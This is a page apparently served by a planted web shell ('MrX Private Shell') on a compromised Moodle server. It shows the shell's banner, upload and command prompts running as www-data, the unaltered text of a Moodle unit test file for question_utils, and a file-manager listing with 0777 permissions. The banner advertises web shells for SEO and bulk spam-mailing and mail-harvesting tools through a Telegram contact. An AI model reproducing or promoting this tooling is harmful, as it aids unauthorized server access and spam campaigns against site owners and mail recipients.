__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

namespace core_question;

use question_utils;

defined('MOODLE_INTERNAL') || die();

global $CFG;
require_once(__DIR__ . '/../lib.php');

/**
 * Unit tests for the {@link question_utils} class.
 *
 * @package    core_question
 * @category   test
 * @copyright  2010 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
final class questionutils_test extends \advanced_testcase {
    public function test_arrays_have_same_keys_and_values(): void {
        $this->assertTrue(question_utils::arrays_have_same_keys_and_values(
                array(),
                array()));
        $this->assertTrue(question_utils::arrays_have_same_keys_and_values(
                array('key' => 1),
                array('key' => '1')));
        $this->assertFalse(question_utils::arrays_have_same_keys_and_values(
                array(),
                array('key' => 1)));
        $this->assertFalse(question_utils::arrays_have_same_keys_and_values(
                array('key' => 2),
                array('key' => 1)));
        $this->assertFalse(question_utils::arrays_have_same_keys_and_values(
                array('key' => 1),
                array('otherkey' => 1)));
        $this->assertFalse(question_utils::arrays_have_same_keys_and_values(
                array('sub0' => '2', 'sub1' => '2', 'sub2' => '3', 'sub3' => '1'),
                array('sub0' => '1', 'sub1' => '2', 'sub2' => '3', 'sub3' => '1')));
    }

    public function test_arrays_same_at_key(): void {
        $this->assertTrue(question_utils::arrays_same_at_key(
                array(),
                array(),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key(
                array(),
                array('key' => 1),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key(
                array('key' => 1),
                array(),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key(
                array('key' => 1),
                array('key' => 1),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key(
                array('key' => 1),
                array('key' => 2),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key(
                array('key' => 1),
                array('key' => '1'),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key(
                array('key' => 0),
                array('key' => ''),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key(
                array(),
                array('key' => ''),
                'key'));
    }

    public function test_arrays_same_at_key_missing_is_blank(): void {
        $this->assertTrue(question_utils::arrays_same_at_key_missing_is_blank(
                array(),
                array(),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_missing_is_blank(
                array(),
                array('key' => 1),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_missing_is_blank(
                array('key' => 1),
                array(),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_missing_is_blank(
                array('key' => 1),
                array('key' => 1),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_missing_is_blank(
                array('key' => 1),
                array('key' => 2),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_missing_is_blank(
                array('key' => 1),
                array('key' => '1'),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_missing_is_blank(
                array('key' => '0'),
                array('key' => ''),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_missing_is_blank(
                array(),
                array('key' => ''),
                'key'));
    }

    public function test_arrays_same_at_key_integer(): void {
        $this->assertTrue(question_utils::arrays_same_at_key_integer(
                array(),
                array(),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_integer(
                array(),
                array('key' => 1),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_integer(
                array('key' => 1),
                array(),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_integer(
                array('key' => 1),
                array('key' => 1),
                'key'));
        $this->assertFalse(question_utils::arrays_same_at_key_integer(
                array('key' => 1),
                array('key' => 2),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_integer(
                array('key' => 1),
                array('key' => '1'),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_integer(
                array('key' => '0'),
                array('key' => ''),
                'key'));
        $this->assertTrue(question_utils::arrays_same_at_key_integer(
                array(),
                array('key' => 0),
                'key'));
    }

    public function test_int_to_roman(): void {
        $this->assertSame('i', question_utils::int_to_roman(1));
        $this->assertSame('iv', question_utils::int_to_roman(4));
        $this->assertSame('v', question_utils::int_to_roman(5));
        $this->assertSame('vi', question_utils::int_to_roman(6));
        $this->assertSame('ix', question_utils::int_to_roman(9));
        $this->assertSame('xi', question_utils::int_to_roman(11));
        $this->assertSame('xlviii', question_utils::int_to_roman(48));
        $this->assertSame('lxxxvii', question_utils::int_to_roman(87));
        $this->assertSame('c', question_utils::int_to_roman(100));
        $this->assertSame('mccxxxiv', question_utils::int_to_roman(1234));
        $this->assertSame('mmmcmxcix', question_utils::int_to_roman(3999));
    }

    public function test_int_to_letter(): void {
        $this->assertEquals('A', question_utils::int_to_letter(1));
        $this->assertEquals('B', question_utils::int_to_letter(2));
        $this->assertEquals('C', question_utils::int_to_letter(3));
        $this->assertEquals('D', question_utils::int_to_letter(4));
        $this->assertEquals('E', question_utils::int_to_letter(5));
        $this->assertEquals('F', question_utils::int_to_letter(6));
        $this->assertEquals('G', question_utils::int_to_letter(7));
        $this->assertEquals('H', question_utils::int_to_letter(8));
        $this->assertEquals('I', question_utils::int_to_letter(9));
        $this->assertEquals('J', question_utils::int_to_letter(10));
        $this->assertEquals('K', question_utils::int_to_letter(11));
        $this->assertEquals('L', question_utils::int_to_letter(12));
        $this->assertEquals('M', question_utils::int_to_letter(13));
        $this->assertEquals('N', question_utils::int_to_letter(14));
        $this->assertEquals('O', question_utils::int_to_letter(15));
        $this->assertEquals('P', question_utils::int_to_letter(16));
        $this->assertEquals('Q', question_utils::int_to_letter(17));
        $this->assertEquals('R', question_utils::int_to_letter(18));
        $this->assertEquals('S', question_utils::int_to_letter(19));
        $this->assertEquals('T', question_utils::int_to_letter(20));
        $this->assertEquals('U', question_utils::int_to_letter(21));
        $this->assertEquals('V', question_utils::int_to_letter(22));
        $this->assertEquals('W', question_utils::int_to_letter(23));
        $this->assertEquals('X', question_utils::int_to_letter(24));
        $this->assertEquals('Y', question_utils::int_to_letter(25));
        $this->assertEquals('Z', question_utils::int_to_letter(26));
    }

    public function test_int_to_roman_too_small(): void {
        $this->expectException(\moodle_exception::class);
        question_utils::int_to_roman(0);
    }

    public function test_int_to_roman_too_big(): void {
        $this->expectException(\moodle_exception::class);
        question_utils::int_to_roman(4000);
    }

    public function test_int_to_roman_not_int(): void {
        $this->expectException(\moodle_exception::class);
        question_utils::int_to_roman(1.5);
    }

    public function test_clean_param_mark(): void {
        $this->assertNull(question_utils::clean_param_mark(null));
        $this->assertNull(question_utils::clean_param_mark('frog'));
        $this->assertSame('', question_utils::clean_param_mark(''));
        $this->assertSame(0.0, question_utils::clean_param_mark('0'));
        $this->assertSame(1.5, question_utils::clean_param_mark('1.5'));
        $this->assertSame(1.5, question_utils::clean_param_mark('1,5'));
        $this->assertSame(-1.5, question_utils::clean_param_mark('-1.5'));
        $this->assertSame(-1.5, question_utils::clean_param_mark('-1,5'));
    }

    /**
     * Test the content is being filtered by filters.
     *
     * @covers ::format_question_fragment
     */
    public function test_format_question_fragment(): void {
        global $CFG;
        require_once($CFG->libdir . '/filterlib.php');
        $this->resetAfterTest();
        // Set few filters on.
        filter_set_global_state('multilang', TEXTFILTER_ON);
        filter_set_global_state('mathjaxloader', TEXTFILTER_ON);
        filter_set_applies_to_strings('multilang', 1);
        filter_set_applies_to_strings('mathjaxloader', 1);

        $systemcontext = \context_system::instance();
        $input = 'Some inline math \\( y = x^2 \\) and multi lang with html tag
        <span lang="en" class="multilang"><b>English</b></span><span lang="fr" class="multilang">Français</span>';

        $expected = question_utils::format_question_fragment($input, $systemcontext);

        // The data should only be filtered by mathjax and multi lang filter. HTML tags should not be affeacted.
        $this->assertStringContainsString('<span class="filter_mathjaxloader_equation">Some inline math', $expected);
        $this->assertStringContainsString('<span class="nolink">\( y = x^2 \)</span>', $expected);
        $this->assertStringNotContainsString('<span lang="en" class="multilang">', $expected);
        $this->assertStringContainsString('<b>English</b>', $expected);
    }
}

Filemanager

Name Type Size Permission Actions
coverage.php File 1.29 KB 0777
datalib_reporting_queries_test.php File 14.98 KB 0777
datalib_test.php File 13.56 KB 0777
helpers.php File 55.62 KB 0777
qubaid_condition_test.php File 6.13 KB 0777
question_display_options_test.php File 3.67 KB 0777
question_engine_test.php File 10.65 KB 0777
question_reference_manager_test.php File 6.49 KB 0777
questionattempt_db_test.php File 15.49 KB 0777
questionattempt_test.php File 4.38 KB 0777
questionattempt_with_steps_test.php File 7.54 KB 0777
questionattemptiterator_test.php File 3.58 KB 0777
questionattemptstep_db_test.php File 4.34 KB 0777
questionattemptstep_test.php File 6.23 KB 0777
questionattemptstepiterator_test.php File 4.11 KB 0777
questionbank_test.php File 6.22 KB 0777
questionstate_test.php File 9.02 KB 0777
questionusage_autosave_test.php File 30 KB 0777
questionusagebyactivity_data_test.php File 9.24 KB 0777
questionusagebyactivity_test.php File 6.99 KB 0777
questionutils_test.php File 11.12 KB 0777
unitofwork_test.php File 26.91 KB 0777
walkthrough_test.php File 7.89 KB 0777
Filemanager